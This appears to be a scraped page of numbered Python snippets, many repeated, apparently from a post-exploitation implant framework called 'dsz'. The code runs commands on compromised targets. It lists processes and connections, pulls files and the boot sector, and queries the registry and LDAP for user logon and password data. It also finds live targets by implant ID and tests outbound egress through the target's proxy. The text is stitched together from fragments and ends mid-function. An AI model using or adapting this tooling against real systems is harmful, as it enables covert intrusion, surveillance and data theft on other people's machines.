def flav_toggle(plugin, operation):
    if (operation == 'enable'):
        cmd = ops.cmd.getDszCommand(
            ('moduletoggle -system %s_TARGET -set FLAV' % plugin.upper()),
            dszquiet=False)
    else:
        cmd = ops.cmd.getDszCommand(
            ('moduletoggle -system %s_TARGET -set DEFAULT' % plugin.upper()),
            dszquiet=False)
    cmd.execute()
Exemple #2
0
def main():
    process_list = []
    if (len(sys.argv) > 1):
        pattern = (('.*' + sys.argv[1]) + '.*')
    else:
        pattern = '.*'
    print(('\nFiltering processes with regex:: ' + pattern) + '\n')
    regex = re.compile(pattern, (re.I | re.UNICODE))
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('processes -list')
    proc_items = cmd.execute()
    if cmd.success:
        for proc_item in proc_items.initialprocesslistitem.processitem:
            pid = str(proc_item.id)
            ppid = str(proc_item.parentid)
            name = str(proc_item.name.encode('utf-8'))
            path = str(proc_item.path.encode('utf-8'))
            user = str(proc_item.user.encode('utf-8'))
            c_time = str(proc_item.created.time)
            c_date = str(proc_item.created.date)
            process = [pid, ppid, path, name, user, c_date, c_time]
            if regex:
                tmp_str = ' '.join(process)
                if re.search(regex, tmp_str):
                    process_list.append(process)
    if (process_list > 1):
        pprint(
            process_list,
            header=['PID', 'PPID', 'Path', 'Name', 'User', 'CDate', 'CTime'])
    dsz.control.echo.On()
def getpretchfiles(prefetchdir):
    cmd = ops.cmd.getDszCommand('dir')
    cmd.mask = '*.pf'
    cmd.path = prefetchdir
    obj = cmd.execute()
    prefetchfiles = []
    index = 1
    if cmd.success:
        for dir in obj.diritem:
            for file in dir.fileitem:
                prefetchfiles.append({
                    'index':
                    index,
                    'name':
                    file.name,
                    'size':
                    file.size,
                    'path':
                    dir.path,
                    'accessed':
                    file.filetimes.accessed.time.split('.')[0].replace(
                        'T', ' '),
                    'modified':
                    file.filetimes.modified.time.split('.')[0].replace(
                        'T', ' '),
                    'created':
                    file.filetimes.created.time.split('.')[0].replace(
                        'T', ' ')
                })
                index += 1
    return prefetchfiles
Exemple #4
0
def main():
    process_list = []
    if (len(sys.argv) > 1):
        pattern = (('.*' + sys.argv[1]) + '.*')
    else:
        pattern = '.*'
    print (('\nFiltering processes with regex:: ' + pattern) + '\n')
    regex = re.compile(pattern, (re.I | re.UNICODE))
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('processes -list')
    proc_items = cmd.execute()
    if cmd.success:
        for proc_item in proc_items.initialprocesslistitem.processitem:
            pid = str(proc_item.id)
            ppid = str(proc_item.parentid)
            name = str(proc_item.name.encode('utf-8'))
            path = str(proc_item.path.encode('utf-8'))
            user = str(proc_item.user.encode('utf-8'))
            c_time = str(proc_item.created.time)
            c_date = str(proc_item.created.date)
            process = [pid, ppid, path, name, user, c_date, c_time]
            if regex:
                tmp_str = ' '.join(process)
                if re.search(regex, tmp_str):
                    process_list.append(process)
    if (process_list > 1):
        pprint(process_list, header=['PID', 'PPID', 'Path', 'Name', 'User', 'CDate', 'CTime'])
    dsz.control.echo.On()
Exemple #5
0
def get_core_candidates(pathtocheck):
    cmd = ops.cmd.getDszCommand('dir', path=('"%s"' % os.path.dirname(pathtocheck)), mask=('"%s"' % os.path.basename(pathtocheck)))
    obj = cmd.execute()
    if cmd.success:
        candidates = [f for d in obj.diritem for f in d.fileitem if (f.attributes.directory == 0) if (f.size in CODE_CORE_KNOWN_SIZES)]
        return candidates
    return []
Exemple #6
0
def main():
    alltargetsallprojects = ops.project.getAllTargets()
    targetsup = []
    cmd = ops.cmd.getDszCommand('arp')
    cmd.optdict = {'query': True}
    arp = cmd.execute()
    if cmd.success:
        for arptgt in arp.entry:
            for tgt in alltargetsallprojects:
                if (arptgt.mac.lower() in tgt.macs):
                    targetsup.append({
                        'proj': tgt.project.name,
                        'target': tgt.hostname,
                        'id': tgt.implant_id,
                        'ip': arptgt.ip,
                        'mac': arptgt.mac,
                        'interface': arptgt.adapter
                    })
        if (len(targetsup) > 0):
            dsz.ui.Echo('Targets that are up', dsz.GOOD)
            pprint(
                targetsup,
                header=[
                    'Project', 'Target', 'Target ID', 'IP', 'MAC', 'Interface'
                ],
                dictorder=['proj', 'target', 'id', 'ip', 'mac', 'interface'])
        else:
            dsz.ui.Echo("Doesn't look like anything is up", dsz.WARNING)
    else:
        dsz.ui.Echo(('arp -query failed. check command id %d ' % arp._cmdid),
                    dsz.ERROR)
Exemple #7
0
def queryuserbygroup(menu=None, attr_want_dict=None, query=None):
    optdict = menu.all_states()
    target = optdict['Configuration']['Target']
    cmd = ops.cmd.getDszCommand((
        'ldap -target %s -scope 2 -filter objectClass=group -attributes distinguishedName'
        % target))
    ldapobj = cmd.execute()
    group_list = []
    count = 1
    for ldapentries in ldapobj.ldapentries:
        for ldapentry in ldapentries.ldapentry:
            group_list.append({
                'index': count,
                'group': ldapentry.attribute[0].value
            })
            count += 1
    pprint(group_list, header=['Index', 'Group'], dictorder=['index', 'group'])
    want_list = getlist(group_list)
    if (want_list == False):
        return False
    item_list = ''
    for item in want_list:
        item_list += ('(memberOf=%s)' % item['group'])
    group_filter = ('(&(objectCategory=Person)(objectClass=User)(|%s))' %
                    item_list)
    attr_want_dict[group_filter] = [
        'cn', 'givenName', 'displayName', 'name', 'whenCreated', 'whenChanged',
        'lastLogon', 'logonCount', 'badPwdCount', 'pwdLastSet',
        'badPasswordTime', 'lastLogonTimestamp', 'accountExpires',
        'logonCount', 'managedObjects', 'memberOf'
    ]
    runldap(filter=group_filter,
            menu=menu,
            attr_want_dict=attr_want_dict,
            query=query)
Exemple #8
0
 def __process(self, validate=False):
     background = self.getbool('bg', default=False)
     cachetag = self.element.get('cachetag', default=None)
     prompt = self.getbool('prompt', default=True)
     quiet = self.getbool('quiet', default=False)
     enforce((not (background and cachetag)), 'background and cachetag attributes of <command> are mutually exclusive.')
     command = self.element.text.strip()
     enforce((command in ALLOWED_COMMANDS), (lambda : ("'%s' is not a valid input for <command>." % command)))
     if (not validate):
         cmd = ops.cmd.getDszCommand(command)
         cmd.dszbackground = background
         cmd.dszquiet = quiet
         (issafe, msgs) = cmd.safetyCheck()
         if issafe:
             if (command not in ALLOWED_WITHOUT_WARNING):
                 ops.info(('%s has passed registered safety checks, but you should still make sure' % command))
                 for msg in msgs:
                     ops.info(msg)
         else:
             ops.warn(('"%s" has NOT passed registered safety checks' % command))
             for msg in msgs:
                 ops.error(msg)
             ops.warn(('"%s" will not be run at this time' % command))
             return True
         if prompt:
             if (not dsz.ui.Prompt(((("Do you want to run '%s'" + (' in the background' if background else '')) + '?') % command))):
                 return True
         result = cmd.execute()
         if ((cachetag is not None) and (result is not None)):
             voldb = ops.db.get_voldb()
             voldb.save_ops_object(result, tag=cachetag)
     return True
Exemple #9
0
 def getDNS(self):
     cmd = ops.cmd.getDszCommand('ipconfig', dszquiet=True)
     obj = cmd.execute()
     try:
         for dnsserver in obj.fixeddataitem.dnsservers.dnsserver:
             self.dns.append(dnsserver.ip)
     except:
         dsz.ui.Echo('\tError getting dns servers', dsz.ERROR)
Exemple #10
0
def getfile(file):
    cmd = ops.cmd.getDszCommand('get')
    cmd.arglist = [('-mask %s -path %s' % (file['name'], file['path']))]
    obj = cmd.execute()
    if cmd.success:
        return os.path.join(dsz.lp.GetLogsDirectory(), obj.filelocalname[0].subdir, obj.filelocalname[0].localname)
    else:
        return None
Exemple #11
0
 def getDNS(self):
     cmd = ops.cmd.getDszCommand('ipconfig', dszquiet=True)
     obj = cmd.execute()
     try:
         for dnsserver in obj.fixeddataitem.dnsservers.dnsserver:
             self.dns.append(dnsserver.ip)
     except:
         dsz.ui.Echo('\tError getting dns servers', dsz.ERROR)
Exemple #12
0
def getdirinfo(pathtocheck):
    cmd = ops.cmd.getDszCommand('dir', path=('"%s"' % os.path.dirname(pathtocheck)), mask=('"%s"' % os.path.basename(pathtocheck)))
    obj = cmd.execute()
    if cmd.success:
        try:
            return (obj.diritem[0].fileitem[0].filetimes.accessed.time, obj.diritem[0].fileitem[0].filetimes.created.time, obj.diritem[0].fileitem[0].filetimes.modified.time)
        except:
            pass
    return (None, None, None)
Exemple #13
0
 def reallyget(self, f):
     cmd = ops.cmd.getDszCommand('get')
     cmd.arglist = [('"%s"' % f.fullpath)]
     print (('[' + self.__loadedModule) + ('] get %s (%d bytes)' % (f.fullpath, f.size)))
     obj = cmd.execute()
     if cmd.success:
         return [f.fullpath, os.path.join(dsz.lp.GetLogsDirectory(), obj.filelocalname[0].subdir, obj.filelocalname[0].localname)]
     else:
         return None
Exemple #14
0
 def reallyget(self, f):
     cmd = ops.cmd.getDszCommand('get')
     cmd.arglist = [('"%s"' % f.fullpath)]
     print (('[' + self.__loadedModule) + ('] get %s (%d bytes)' % (f.fullpath, f.size)))
     obj = cmd.execute()
     if cmd.success:
         return [f.fullpath, os.path.join(dsz.lp.GetLogsDirectory(), obj.filelocalname[0].subdir, obj.filelocalname[0].localname)]
     else:
         return None
Exemple #15
0
def getdirinfo(pathtocheck):
    cmd = ops.cmd.getDszCommand('dir', path=('"%s"' % os.path.dirname(pathtocheck)), mask=('"%s"' % os.path.basename(pathtocheck)))
    obj = cmd.execute()
    if cmd.success:
        try:
            return (obj.diritem[0].fileitem[0].filetimes.accessed.time, obj.diritem[0].fileitem[0].filetimes.created.time, obj.diritem[0].fileitem[0].filetimes.modified.time)
        except:
            pass
    return None
Exemple #16
0
 def getUserAgent(self):
     cmd = ops.cmd.getDszCommand('registryquery -hive C', dszquiet=True)
     cmd.value = u'"User Agent"'
     cmd.key = u'"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"'
     obj = cmd.execute()
     if (not cmd.success):
         dsz.ui.Echo('\tUser Agent regquery failed', dsz.ERROR)
     self.userAgent = obj.key[0].value[0].value.strip()
     dsz.ui.Echo(('\tUser agent set to: %s' % self.userAgent))
Exemple #17
0
 def getUserAgent(self):
     cmd = ops.cmd.getDszCommand('registryquery -hive C', dszquiet=True)
     cmd.value = u'"User Agent"'
     cmd.key = u'"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"'
     obj = cmd.execute()
     if (not cmd.success):
         dsz.ui.Echo('\tUser Agent regquery failed', dsz.ERROR)
     self.userAgent = obj.key[0].value[0].value.strip()
     dsz.ui.Echo(('\tUser agent set to: %s' % self.userAgent))
def getfile(file):
    cmd = ops.cmd.getDszCommand('get')
    cmd.arglist = [('-mask %s -path %s' % (file['name'], file['path']))]
    obj = cmd.execute()
    if cmd.success:
        return os.path.join(dsz.lp.GetLogsDirectory(),
                            obj.filelocalname[0].subdir,
                            obj.filelocalname[0].localname)
    else:
        return None
Exemple #19
0
 def resolvehostname(self, target):
     cmd = ops.cmd.getDszCommand(('nameserverlookup %s' % target))
     obj = cmd.execute()
     if (obj is None):
         return False
     for hostinfo in obj.hostinfo:
         if util.ip.validate_ipv4(hostinfo.info):
             dsz.ui.Echo(('[%s] Resolution successful: %s to %s' % (dsz.Timestamp(), target, hostinfo.info.strip())), dsz.WARNING)
             return hostinfo.info.strip()
     dsz.ui.Echo(('[%s] Resolution failed: %s' % (dsz.Timestamp(), target)), dsz.WARNING)
     return None
Exemple #20
0
 def resolvehostname(self, target):
     cmd = ops.cmd.getDszCommand(('nameserverlookup %s' % target))
     obj = cmd.execute()
     if (obj is None):
         return False
     for hostinfo in obj.hostinfo:
         if util.ip.validate_ipv4(hostinfo.info):
             dsz.ui.Echo(('[%s] Resolution successful: %s to %s' % (dsz.Timestamp(), target, hostinfo.info.strip())), dsz.WARNING)
             return hostinfo.info.strip()
     dsz.ui.Echo(('[%s] Resolution failed: %s' % (dsz.Timestamp(), target)), dsz.WARNING)
     return None
Exemple #21
0
 def nslookup(self, name):
     cmd = ops.cmd.getDszCommand(('nameserverlookup %s' % name), dszquiet=True)
     obj = cmd.execute()
     if (not cmd.success):
         dsz.ui.Echo('\tError: Unable to complete remote nslookup', dsz.ERROR)
         return None
     for hostinfo in obj.hostinfo:
         if util.ip.validate_ipv4(hostinfo.info):
             dsz.ui.Echo(('\t%s' % hostinfo.info.strip()))
             return hostinfo.info.strip()
     return None
Exemple #22
0
def getldapcount(target, filter):
    attr = 'instanceType'
    cmd = ops.cmd.getDszCommand(
        ('ldap -target %s -scope 2 -attributes "%s"' % (target, attr)))
    cmd.arglist.append(('-filter "%s"' % filter))
    ldapobj = cmd.execute()
    count = 0
    for ldapentries in ldapobj.ldapentries:
        for ldapentry in ldapentries.ldapentry:
            count += 1
    return count
def get_values(hive, key):
    vdict = {}
    cmd = ops.cmd.getDszCommand('registryquery')
    cmd.hive = hive
    cmd.key = key
    obj = cmd.execute()
    if cmd.success:
        for key in obj.key:
            for value in key.value:
                vdict[value.name] = value.value
    return vdict
Exemple #24
0
 def proxy(self):
     cmd = ops.cmd.getDszCommand('registryquery -hive C', dszquiet=True)
     cmd.value = u'"ProxyEnable"'
     cmd.key = u'"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"'
     obj = cmd.execute()
     if (not cmd.success):
         dsz.ui.Echo('\tProxy registryquery failed', dsz.ERROR)
         return
     enabled = obj.key[0].value[0].value.strip()
     if (enabled == '1'):
         dsz.ui.Echo('\tProxy is currently ENABLED.  Querying registry for server')
         cmd.value = u'"ProxyServer"'
         obj = cmd.execute()
         if (not cmd.success):
             dsz.ui.Echo('\tFailed to get ProxyServer', dsz.ERROR)
             return
         server = obj.key[0].value[0].value.strip()
         dsz.ui.Echo(('\tProxy server is: %s' % str(server)))
         (self.proxy_ip, self.proxy_port) = server.strip().split(':')
     else:
         dsz.ui.Echo('\tIE Proxy currently DISABLED')
Exemple #25
0
def _dir_listing(path='*', mask='*', recursive=True, dirsonly=False):
    if ((' ' in path) and ('"' not in path)):
        path = (('"' + path) + '"')
    cmd = ops.cmd.getDszCommand('dir', path=path, mask=mask, recursive=recursive, dirsonly=dirsonly)
    obj = cmd.execute()
    if (not cmd.success):
        return []
    files = []
    for dir_item in obj.diritem:
        for file_item in dir_item.fileitem:
            files.append(os.path.join(dir_item.path, file_item.name))
    return files
Exemple #26
0
def getProcList():
    cmd = ops.cmd.getDszCommand('processes -list')
    proc_items = cmd.execute()
    retval = []
    if cmd.success:
        for proc_item in proc_items.initialprocesslistitem.processitem:
            process = [str(proc_item.id), str(proc_item.parentid), str(proc_item.path.encode('utf-8')), str(proc_item.name.encode('utf-8')), str(proc_item.user.encode('utf-8'))]
            retval.append(process)
    else:
        dsz.ui.Echo('Could not find any processes.', dsz.ERROR)
        return 0
    return retval
def get_subkeys(hive, key):
    names = []
    cmd = ops.cmd.getDszCommand('registryquery')
    cmd.hive = hive
    cmd.key = key
    obj = cmd.execute()
    if cmd.success:
        for key in obj.key:
            for subkey in key.subkey:
                names.append(subkey.name)
    dsz.control.echo.On()
    return names
Exemple #28
0
def getpretchfiles(prefetchdir):
    cmd = ops.cmd.getDszCommand('dir')
    cmd.mask = '*.pf'
    cmd.path = prefetchdir
    obj = cmd.execute()
    prefetchfiles = []
    index = 1
    if cmd.success:
        for dir in obj.diritem:
            for file in dir.fileitem:
                prefetchfiles.append({'index': index, 'name': file.name, 'size': file.size, 'path': dir.path, 'accessed': file.filetimes.accessed.time.split('.')[0].replace('T', ' '), 'modified': file.filetimes.modified.time.split('.')[0].replace('T', ' '), 'created': file.filetimes.created.time.split('.')[0].replace('T', ' ')})
                index += 1
    return prefetchfiles
def get_core_candidates(pathtocheck):
    cmd = ops.cmd.getDszCommand('dir',
                                path=('"%s"' % os.path.dirname(pathtocheck)),
                                mask=('"%s"' % os.path.basename(pathtocheck)))
    obj = cmd.execute()
    if cmd.success:
        candidates = [
            f for d in obj.diritem for f in d.fileitem
            if (f.attributes.directory == 0)
            if (f.size in CODE_CORE_KNOWN_SIZES)
        ]
        return candidates
    return []
def pulist(ip, dszquiet=False):
    flags = dsz.control.Method()
    if dszquiet:
        dsz.control.quiet.On()
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('performance', dszuser=ops.cmd.CURRENT_USER, data='Process', bare=True, target=(ip if (ip != '127.0.0.1') else None))
    ops.info(("Running '%s'..." % cmd))
    result = cmd.execute()
    if (not cmd.success):
        if (result.commandmetadata.status == 268435456):
            ops.error(('Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.' % result.cmdid))
            del flags
            return None
        elif (result.commandmetadata.status is None):
            dszlogger = DSZPyLogger()
            log = dszlogger.getLogger(LOGFILE)
            log.error('Command did not execute, possibly the result of a malformed command line.')
            ops.info('A problem report has been automatically generated for this issue.', type=dsz.DEFAULT)
        else:
            ops.error(('Failed to query performance hive. Check your logs for command ID %d for more information.' % result.cmdid))
            del flags
            return None
    if (not result.performance.object):
        ops.error(('Query succeeded but returned no data. Check your logs for command ID %d and hope for enlightenment.' % result.cmdid))
    regex = re.compile('.+\\....$')
    table = []
    echo = []
    uptime = None
    for instance in result.performance.object[0].instance:
        if (regex.match(instance.name) is None):
            proc = (instance.name + '.exe')
        else:
            proc = instance.name
        for c in instance.counter:
            if (c.name == '784'):
                pid = int(c.value)
            elif (c.name == '1410'):
                ppid = int(c.value)
            elif (c.name == '684'):
                runtime = datetime.timedelta(microseconds=((result.performance.perfTime100nSec - int(c.value)) // 10))
        if (((pid == 0) and (ppid == 0) and (instance.name == 'Idle')) or (((pid == 4) or (pid == 8)) and (instance.name == 'System'))):
            [code, comment] = [dsz.DEFAULT, ('System Idle Counter' if (instance.name == 'Idle') else 'System Kernel')]
        elif ((pid == 0) and (ppid == 0) and (instance.name == '_Total') and (runtime == datetime.timedelta(microseconds=0))):
            continue
        else:
            [code, comment] = check_process(proc)
        table.append({'Process': instance.name, 'PID': pid, 'PPID': ppid, 'Comment': comment, 'Elapsed Time': runtime})
        echo.append(code)
    pprint(table, dictorder=['PID', 'PPID', 'Elapsed Time', 'Process', 'Comment'], echocodes=echo)
    del flags
    return result
Exemple #31
0
def get8k():
    global remoteSystemDrive
    cmd = ops.cmd.getDszCommand('get')
    cmd.arglist = [('"\\\\?\\%s"' % remoteSystemDrive)]
    cmd.optdict = {'range': '0 8191', 'name': 'BootSector'}
    obj = cmd.execute()
    if cmd.success:
        gfBootSector = os.path.join(GETFILES, obj.filelocalname[0].localname)
        nsBootSector = os.path.join(NOSEND, obj.filelocalname[0].localname)
        if (not os.path.exists(NOSEND)):
            os.makedirs(NOSEND)
        shutil.move(gfBootSector, nsBootSector)
        localhash(nsBootSector)
    else:
        log(('get MBR failed. cmd %d' % obj._cmdid), ('get %d failed' % obj._cmdid))
Exemple #32
0
def get8k():
    global remoteSystemDrive
    cmd = ops.cmd.getDszCommand('get')
    cmd.arglist = [('"\\\\?\\%s"' % remoteSystemDrive)]
    cmd.optdict = {'range': '0 8191', 'name': 'BootSector'}
    obj = cmd.execute()
    if cmd.success:
        gfBootSector = os.path.join(GETFILES, obj.filelocalname[0].localname)
        nsBootSector = os.path.join(NOSEND, obj.filelocalname[0].localname)
        if (not os.path.exists(NOSEND)):
            os.makedirs(NOSEND)
        shutil.move(gfBootSector, nsBootSector)
        localhash(nsBootSector)
    else:
        log(('get MBR failed. cmd %d' % obj._cmdid),
            ('get %d failed' % obj._cmdid))
Exemple #33
0
def main():
    connection_list = []
    proc_list = []
    ppid = ''
    path = ''
    user = ''
    if (len(sys.argv) > 1):
        pattern = (('.*' + sys.argv[1]) + '.*')
    else:
        pattern = '.*'
    print (('\nFiltering connections with regex:: ' + pattern) + '\n')
    regex = re.compile(pattern, (re.I | re.UNICODE))
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('netconnections -list')
    conn_items = cmd.execute()
    if cmd.success:
        proc_list = getProcList()
        for conn_item in conn_items.initialconnectionlistitem.connectionitem:
            type = conn_item.type.encode('utf-8')
            pid = str(conn_item.pid)
            state = conn_item.state.encode('utf-8')
            valid = conn_item.valid
            remote_type = str(conn_item.remote.type)
            remote_port = str(conn_item.remote.port)
            remote_address = str(conn_item.remote.address)
            local_type = conn_item.local.type.encode('utf-8')
            local_port = str(conn_item.local.port)
            local_address = str(conn_item.local.address)
            print_local_address = ''
            if ((len(local_address) > 0) and (local_address != 'None')):
                print_local_address = ((local_address + ':') + local_port)
            else:
                print_local_address = '*.*'
            if ((len(remote_address) > 0) and (remote_address != 'None')):
                print_remote_address = ((remote_address + ':') + remote_port)
            else:
                print_remote_address = '*.*'
            connection = [type, print_local_address, print_remote_address, state, pid, ppid, path, user]
            mergeProcessInfo(connection, proc_list)
            if regex:
                tmp_str = ' '.join(connection)
                if re.search(regex, tmp_str):
                    connection_list.append(connection)
    if (connection_list > 1):
        pprint(connection_list, header=['TYPE', 'LOCAL', 'REMOTE', 'STATE', 'PID', 'PPID', 'PATH', 'USER'])
    dsz.control.echo.On()
Exemple #34
0
def getregvalue(hive, key, value):
    cmd = ops.cmd.getDszCommand('registryquery')
    cmd.hive = hive
    cmd.key = key
    if (value != ''):
        cmd.value = value
    obj = cmd.execute()
    if cmd.success:
        if (value == ''):
            for key in obj.key:
                for value in key.value:
                    if (value.name == ''):
                        return (key.updatedate, key.updatetime, value.value)
        else:
            return (obj.key[0].updatedate, obj.key[0].updatetime, obj.key[0].value[0].value)
    else:
        return (None, None, None)
Exemple #35
0
def getregvalue(hive, key, value):
    cmd = ops.cmd.getDszCommand('registryquery')
    cmd.hive = hive
    cmd.key = key
    if (value != ''):
        cmd.value = value
    obj = cmd.execute()
    if cmd.success:
        if (value == ''):
            for key in obj.key:
                for value in key.value:
                    if (value.name == ''):
                        return (key.updatedate, key.updatetime, value.value)
        else:
            return (obj.key[0].updatedate, obj.key[0].updatetime, obj.key[0].value[0].value)
    else:
        return (None, None, None)
Exemple #36
0
def main():
    alltargetsallprojects = ops.project.getAllTargets()
    targetsup = []
    cmd = ops.cmd.getDszCommand('arp')
    cmd.optdict = {'query': True}
    arp = cmd.execute()
    if cmd.success:
        for arptgt in arp.entry:
            for tgt in alltargetsallprojects:
                if (arptgt.mac.lower() in tgt.macs):
                    targetsup.append({'proj': tgt.project.name, 'target': tgt.hostname, 'id': tgt.implant_id, 'ip': arptgt.ip, 'mac': arptgt.mac, 'interface': arptgt.adapter})
        if (len(targetsup) > 0):
            dsz.ui.Echo('Targets that are up', dsz.GOOD)
            pprint(targetsup, header=['Project', 'Target', 'Target ID', 'IP', 'MAC', 'Interface'], dictorder=['proj', 'target', 'id', 'ip', 'mac', 'interface'])
        else:
            dsz.ui.Echo("Doesn't look like anything is up", dsz.WARNING)
    else:
        dsz.ui.Echo(('arp -query failed. check command id %d ' % arp._cmdid), dsz.ERROR)
Exemple #37
0
 def getOut(self):
     cmd = ops.cmd.getDszCommand('banner')
     if (self.proxy_ip and self.proxy_port):
         dsz.ui.Echo(('Proxy: %s:%s' % (self.proxy_ip, self.proxy_port)))
         choice = dsz.ui.Prompt(
             'It appears a proxy is set.  Banner with proxy settings?')
         if (choice == 1):
             cmd = ops.cmd.getDszCommand('banner')
             cmd.optdict['ip'] = self.proxy_ip
             cmd.optdict['port'] = self.proxy_port
             cmd.optdict['wait'] = '5'
             cmd.optdict['send'] = (
                 '"GET http://%s/ HTTP/1.0\\r\\nHost: %s\\r\\nUser-Agent: %s\\r\\nProxy-Connection: Keep-Alive\\r\\n\\r\\n"'
                 % (self.domain, self.domain, self.userAgent))
         else:
             cmd = ops.cmd.getDszCommand('banner')
             cmd.optdict['ip'] = self.ip
             cmd.optdict['port'] = self.port
             cmd.optdict['wait'] = '5'
             cmd.optdict['send'] = '"GET / HTTP/1.0\\r\\n\\r\\n"'
     else:
         cmd = ops.cmd.getDszCommand('banner')
         cmd.optdict['ip'] = self.ip
         cmd.optdict['port'] = self.port
         cmd.optdict['wait'] = '5'
         cmd.optdict['send'] = (
             '"GET / HTTP/1.0\\r\\nHost: %s\\r\\nUser-Agent: %s\\r\\n\\r\\n"'
             % (self.domain, self.userAgent))
     obj = cmd.execute()
     if (not cmd.success):
         dsz.ui.Echo(('\tCan not get out to %s:%s' % (self.ip, self.port)),
                     dsz.ERROR)
         return
     if (len(obj.transfer) == 0):
         dsz.ui.Echo((
             "\tWe seem to have gotten a 'Timeout waiting for data', check CMDID %s"
             % obj.cmdid), dsz.WARNING)
         return
     response = obj.transfer[0].text.splitlines()[0]
     dsz.ui.Echo(('\t%s' % response))
     if (response.find('200 OK') != (-1)):
         dsz.ui.Echo('We can get out successfully!', dsz.GOOD)
     else:
         dsz.ui.Echo('Non 200 OK Response Received', dsz.WARNING)
Exemple #38
0
 def __process(self, validate=False):
     background = self.getbool('bg', default=False)
     cachetag = self.element.get('cachetag', default=None)
     prompt = self.getbool('prompt', default=True)
     quiet = self.getbool('quiet', default=False)
     enforce((
         not (background and cachetag)
     ), 'background and cachetag attributes of <command> are mutually exclusive.'
             )
     command = self.element.text.strip()
     enforce((command in ALLOWED_COMMANDS),
             (lambda:
              ("'%s' is not a valid input for <command>." % command)))
     if (not validate):
         cmd = ops.cmd.getDszCommand(command)
         cmd.dszbackground = background
         cmd.dszquiet = quiet
         (issafe, msgs) = cmd.safetyCheck()
         if issafe:
             if (command not in ALLOWED_WITHOUT_WARNING):
                 ops.info((
                     '%s has passed registered safety checks, but you should still make sure'
                     % command))
                 for msg in msgs:
                     ops.info(msg)
         else:
             ops.warn(
                 ('"%s" has NOT passed registered safety checks' % command))
             for msg in msgs:
                 ops.error(msg)
             ops.warn(('"%s" will not be run at this time' % command))
             return True
         if prompt:
             if (not dsz.ui.Prompt(
                 ((("Do you want to run '%s'" +
                    (' in the background' if background else '')) + '?') %
                  command))):
                 return True
         result = cmd.execute()
         if ((cachetag is not None) and (result is not None)):
             voldb = ops.db.get_voldb()
             voldb.save_ops_object(result, tag=cachetag)
     return True
def check_status(plugin_list):
    dsz.ui.Echo(('=' * 80), dsz.GOOD)
    dsz.ui.Echo(((('=' * 36) + ' Status ') + ('=' * 36)), dsz.GOOD)
    dsz.ui.Echo(('=' * 80), dsz.GOOD)
    cmd = ops.cmd.getDszCommand('plugins')
    plugins_obj = cmd.execute()
    modcmd = ops.cmd.getDszCommand('moduletoggle -list')
    modobj = modcmd.execute()
    for plugin in plugin_list:
        dsz.ui.Echo(('Status of %s FLAV change:' % plugin))
        loaded_plugins = checkplugin(plugins_obj, plugin)
        if checkflav(modobj, plugin):
            dsz.ui.Echo('\tENABLED', dsz.GOOD)
        else:
            dsz.ui.Echo('\tDISABLED', dsz.ERROR)
        if (len(loaded_plugins) == 0):
            dsz.ui.Echo(('\tNo %s plugins currently loaded remotely' % plugin))
        else:
            for loaded in loaded_plugins:
                dsz.ui.Echo(('\t%s currently loaded remotely' % loaded), dsz.WARNING)
        dsz.ui.Echo('')
def check_status(plugin_list):
    dsz.ui.Echo(('=' * 80), dsz.GOOD)
    dsz.ui.Echo(((('=' * 36) + ' Status ') + ('=' * 36)), dsz.GOOD)
    dsz.ui.Echo(('=' * 80), dsz.GOOD)
    cmd = ops.cmd.getDszCommand('plugins')
    plugins_obj = cmd.execute()
    modcmd = ops.cmd.getDszCommand('moduletoggle -list')
    modobj = modcmd.execute()
    for plugin in plugin_list:
        dsz.ui.Echo(('Status of %s FLAV change:' % plugin))
        loaded_plugins = checkplugin(plugins_obj, plugin)
        if checkflav(modobj, plugin):
            dsz.ui.Echo('\tENABLED', dsz.GOOD)
        else:
            dsz.ui.Echo('\tDISABLED', dsz.ERROR)
        if (len(loaded_plugins) == 0):
            dsz.ui.Echo(('\tNo %s plugins currently loaded remotely' % plugin))
        else:
            for loaded in loaded_plugins:
                dsz.ui.Echo(('\t%s currently loaded remotely' % loaded),
                            dsz.WARNING)
        dsz.ui.Echo('')
def emkg_plist(ip, dszquiet=False):
    flags = dsz.control.Method()
    if dszquiet:
        dsz.control.quiet.On()
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('processes', dszuser=ops.cmd.CURRENT_USER, list=True, target=(ip if (ip != '127.0.0.1') else None))
    ops.info(("Running '%s'..." % cmd))
    result = cmd.execute()
    if (not cmd.success):
        if (result.commandmetadata.status == 268435456):
            ops.error(('Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.' % result.cmdid))
            del flags
            return None
        elif (result.commandmetadata.status is None):
            dszlogger = DSZPyLogger()
            log = dszlogger.getLogger(LOGFILE)
            log.error('Command did not execute, possibly the result of a malformed command line.')
            ops.info('A problem report has been automatically generated for this issue.', type=dsz.DEFAULT)
        else:
            ops.error(('Failed to query performance hive. Check your logs for command ID %d for more information.' % result.cmdid))
            del flags
            return None
    table = []
    echo = []
    for processitem in result.initialprocesslistitem.processitem:
        if ((processitem.id == 0) and (processitem.parentid == 0)):
            name = 'System Idle Process'
        else:
            name = processitem.name
        [code, comment] = check_process(name)
        table.append({'Path': processitem.path, 'Process': name, 'PID': processitem.id, 'PPID': processitem.parentid, 'Created': ('' if ((processitem.name == 'System') or (processitem.name == 'System Idle Process')) else ('%s %s %s' % (processitem.created.date, processitem.created.time, processitem.created.type.upper()))), 'Comment': comment, 'User': processitem.user})
        echo.append(code)
    if ((ip is None) or (ip == '127.0.0.1')):
        pprint(table, dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'User', 'Comment'], echocodes=echo)
    else:
        pprint(table, dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'Comment'], echocodes=echo)
    del flags
    return result
Exemple #42
0
 def getOut(self):
     cmd = ops.cmd.getDszCommand('banner')
     if (self.proxy_ip and self.proxy_port):
         dsz.ui.Echo(('Proxy: %s:%s' % (self.proxy_ip, self.proxy_port)))
         choice = dsz.ui.Prompt('It appears a proxy is set.  Banner with proxy settings?')
         if (choice == 1):
             cmd = ops.cmd.getDszCommand('banner')
             cmd.optdict['ip'] = self.proxy_ip
             cmd.optdict['port'] = self.proxy_port
             cmd.optdict['wait'] = '5'
